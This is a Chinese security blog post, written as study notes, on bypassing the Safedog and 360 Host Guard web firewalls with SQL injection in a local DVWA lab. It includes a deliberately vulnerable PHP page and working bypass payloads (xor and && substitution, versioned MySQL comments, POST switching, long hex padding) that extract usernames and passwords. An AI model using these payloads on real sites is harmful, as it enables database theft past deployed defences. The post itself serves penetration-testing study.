【经验总结】SQL注入Bypass安全狗360主机卫士

0x00 前言

这类的文章已经是比较多了,本文也主要是作为学习笔记来记录,主要是记录一下我在学习 SQL 注入 Bypass 的过程,同时前人的不少绕过方法已经失效了,所以这里也是记录一下最新规则的一些绕过方法。

0x01 环境搭建

测试环境:Win7 + Apache + MySQL 5.7.26 + PHP 5.5.45

测试代码:

<?php
if ($_GET['id']==null){$id=$_POST['id'];}
else {$id=$_GET['id'];}
$con = mysql_connect("localhost","root","root");
if (!$con){die('Could not connect: ' . mysql_error());}
mysql_select_db("dvwa", $con);
$query = "SELECT first_name,last_name FROM users WHERE user_id = '$id'; ";
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
 echo $row['0'] . "&nbsp" . $row['1'];
 echo "<br />";
}
echo "<br/>";
echo $query;
mysql_close($con);
?>

上面的测试代码是参考安全客上的一篇文章,不过为了方便测试在原代码的基础上加入了 POST 传参功能,代码来自本文参考文章第 2 篇。

为方便接下来的测试,需要本地先安装 dvwa ,至于代码中其他的参数,比如数据库地址、用户名、密码什么的自行根据自己本地配置情况修改即可。

如果这个代码在使用的过程中,只使用 POST 方法传参的话,页面是会输出错误信息的,如果不想让它输出错误信息,可以在 php.ini 文件中修改 display_errors 为 Off ,然后重启 Apache 即可。

访问本地搭建的靶场地址,像下面这个样子就算是搭建成功了,其中 192.168.38.132​ 需要修改为你自己的靶机 IP 地址。

http://192.168.38.132/sql.php?id=1
image.png

0x02 安全狗

1、搭建

下载地址:http://free.safedog.cn/website_safedog.html

我下载的是 Windows Apache V4.0 的版本,2019-11-27 更新的规则。

在安装安全狗的时候,如果不知道服务名填什么,可以查看本文参考文章第 5 篇。

如果使用 phpstudy 8.0 及更高版本可能在系统服务中找不到 apache 的服务名,所以这时建议使用 8.0 以下版本,比如 phpstudy 2018,之后再设置运行模式为“系统服务”即可,不要问我怎么知道的 [狗头]

搭建好后,我们构造 SQL 注入语句判断注入点,访问目标网站,网站有安全狗的提示,说明就搭建好了。

http://192.168.38.132/sql.php?id=1' and '1'='1
image.png

2、找寻绕过方法

' and '1'='1

多次测试发现单引号不会被拦截,and 也不会被拦截,只有当 and 后加上字符,比如 and '1' 的时候才会被拦截,所以接下来就主要针对 and 进行绕过测试。

一般情况下,如果 and 被拦截,可以下列字符进行绕过。

+,-,*,%,/,<<,>>,||,|,&,&&

或者使用 or 进行绕过,也可以直接使用异或进行绕过。

^,xor

因为我下载的版本的规则是最新的,所以参考文章中利用 && 替换 and 的方法已经失效了,经过多次测试,这里使用异或是可以绕过安全狗进而判断注入点的。

' xor '1
image.png

接下来使用 union select 查看一下数据库名和用户名。

'union select database(),user()'

直接这样肯定会被拦截的,所以接下来找寻绕过方法。

a、利用()代替空格

'union select(database()),(user())'

数据或者函数周围可以无限嵌套()。

b、利用 mysql 特性 /!/ 执行语句

'union /*!50010select*/(database()),(user())'

/!/ 中间的代码是可以执行的,其中 50010 为 mysql 版本号,只要 mysql 大于这个版本就会执行里面的代码。

c、利用/**/混淆代码

'union/**//*!50010select*/(database/**/()),(user/**/())'

mysql 关键字中是不能插入 /**/ 的,即 se/**/lect 是会报错的,但是函数名和括号之间是可以加上 /**/ 的,像 database/**/() 这样的代码是可以执行的。

事实上,由于我的防护规则是 2019-11-27 更新的,所以即使如此,依旧不能绕过,不过由于安全狗对于 GET 的过滤相较于 POST 更为严格,所以后来经过测试发现使用 POST 方法是可以进行绕过的。

image3.png

可以看到使用 POST 方法是可以成功绕过,除了上面的3个方法,有时候使用 %00 也会有意想不到的效果。

知道了绕过方法,便可以一路找到用户名和密码。

'union select user,password from users#

经过测试,发现在 POST 方法下,加个括号即可绕过安全狗,这也足以看出安全狗对于 POST 方法的过滤是多么不严格。

'union select user,password from (users)#
image

绕过的方法还有很多,安全狗的就记录到这里,接下来看看 360 主机卫士。

0x03 360 主机卫士

1、搭建

曾经 360 出现过一款 360 主机卫士,不过现在已经停止更新和维护了,官网也打不开了,所以只能在第三方网站下载了,这里我下载的是 2.0.5.9 版本。

下载地址:http://www.pc6.com/softview/SoftView_145230.html

虽然 360 主机卫士已经停止了更新,但是拿来练练手还是可以滴。

下载之后,访问 ' and '1'='1 如果发现被拦截了,返回内容像下面这个样子,说明就搭建成功了。

image.png

2、找寻绕过方法

' and '1'='1

经过多次测试,这里使用 && 即可绕过,使用异或也是可以绕过的。

image

接下来看看 union select 怎么进行绕过。

'union select database(),user()'

经过多次测试,发现可以通过缓冲区溢出进行绕过,但也只有在 POST 方法下才有效。

' and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)union select database(),user()'
image

0x04 工具

提到 SQL 注入的工具,个人觉着就不得不提 shack2 的超级 SQL 注入工具,针对于上面缓冲区绕过的情况,使用这个工具可以很方便的进行 SQL 注入。

工具下载地址:https://github.com/shack2/SuperSQLInjectionV1/releases

image1.png

把 Burp 中的数据包复制到工具中,在注入标记、编码标记后,就可以获取数据了,对于如何标记注入点不理解的可以看看这个工具的教学视频以及文档,会容易理解些。

image2.png

至于其他更为复杂的绕过,比如上面安全狗的绕过,利用这个工具的注入绕过模块也是可以的,当然使用 sqlmap 的 tamper 脚本也是 OK 的,暂时本文就先记录到这里。

更多信息欢迎关注我的微信公众号:TeamsSix
原文地址:https://www.teamssix.com/year/200105-211642.html

参考文章:
https://zhuanlan.zhihu.com/p/41332480
https://www.anquanke.com/post/id/102852
https://www.secpulse.com/archives/68991.html
https://www.cnblogs.com/xiaozi/p/9132737.html
https://blog.csdn.net/weixin_30886233/article/details/95871508

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,723评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,003评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,512评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,825评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,874评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,841评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,812评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,582评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,033评论 1 308
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,309评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,450评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,158评论 5 341
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,789评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,409评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,609评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,440评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,357评论 2 352

推荐阅读更多精彩内容

  • 芥子园画传山水篇P79
    焦璇阅读 124评论 0 1
  • 无意中听了一首歌,我的青春还有178年,厉害了,特别喜欢贝斯的感觉,很有厚重感,就像青春还有178年。 天气冷了,...
    83f77c5eae39阅读 277评论 0 3
  • 三月春寒细细雨, 雨丝落处,花朵离花树。 不见蜂蝶花下舞,惟见烟雨飘万户。 人...
    花落惜无言阅读 345评论 0 7
  • 我想去这个地方 我想去一个地方, 那里荒无人烟; 但, 却长满高大的白杨。 我想去一个地方, 那里还可以有茂密的芦...
    木末辛夷沐阅读 175评论 0 0